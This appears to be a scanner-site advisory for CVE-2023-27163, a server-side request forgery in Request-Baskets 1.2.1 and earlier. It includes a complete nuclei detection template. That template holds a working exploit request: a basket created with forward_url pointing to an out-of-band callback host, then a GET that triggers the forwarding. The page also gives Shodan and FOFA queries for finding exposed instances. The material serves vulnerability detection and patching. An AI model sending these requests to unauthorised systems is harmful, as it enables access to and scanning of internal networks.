Request-Baskets <= 1.2.1 - Server Side Request Forgery

mediumseverity

6.5CVSS score

6.5%likelihood of exploitation, next 30 days

94%of all CVEs are less likely

Readycheck to confirm it

Request-Baskets <= 1.2.1 allows unauthenticated SSRF via the forward_url parameter when creating a new basket.

Impact

Attackers can perform SSRF attacks to access internal network resources, scan internal systems, or interact with services that should not be accessible from external networks.

Fix

Upgrade to Request-Baskets version 1.2.2 or later that addresses this SSRF vulnerability.

How to confirm it

Send: POST /api/baskets/{{bucketname}}
Positive when: status_code == 201 and contains(body, "token\":") and contains(content_type, "application/json")
Send: GET /{{bucketname}}
Positive when: contains in interactsh_protocol "http"

Run it with nuclei: nuclei -id CVE-2023-27163 -u <target>

The full check

id: CVE-2023-27163

info:
  name: Request-Baskets <= 1.2.1 - Server Side Request Forgery
  author: Jaenact
  severity: medium
  description: |
    Request-Baskets <= 1.2.1 allows unauthenticated SSRF via the forward_url parameter when creating a new basket.
  impact: |
    Attackers can perform SSRF attacks to access internal network resources, scan internal systems, or interact with services that should not be accessible from external networks.
  remediation: |
    Upgrade to Request-Baskets version 1.2.2 or later that addresses this SSRF vulnerability.
  reference:
    - https://github.com/darklynx/request-baskets
    - https://hub.docker.com/r/darklynx/request-baskets
    - https://infosecwriteups.com/exploit-analysis-request-baskets-v1-2-1-server-side-request-forgery-ssrf-688fffd1f424
    - https://nvd.nist.gov/vuln/detail/CVE-2023-27163
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 6.5
    cve-id: CVE-2023-27163
    epss-score: 0.06537
    epss-percentile: 0.93853
    cwe-id: CWE-918
    cpe: cpe:2.3:a:rbaskets:request_baskets:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: darklynx
    product: request-baskets
    shodan-query: http.html:"Request-Baskets"
    fofa-query: body="Request-Baskets"
  tags: cve,cve2023,ssrf,request-baskets,oast,proxy,vkev,vuln

flow: http(1) && http(2)

variables:
  bucketname: "{{rand_base(7)}}"

http:
  - raw:
      - |
        POST /api/baskets/{{bucketname}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "forward_url": "http://{{interactsh-url}}",
          "proxy_response": true,
          "insecure_tls": false,
          "expand_path": true,
          "capacity": 250
        }

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 201'
          - 'contains(body, "token\":")'
          - 'contains(content_type, "application/json")'
        condition: and
        internal: true

  - raw:
      - |
        GET /{{bucketname}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

References

Use this check only on systems you are authorised to test. Where the data comes from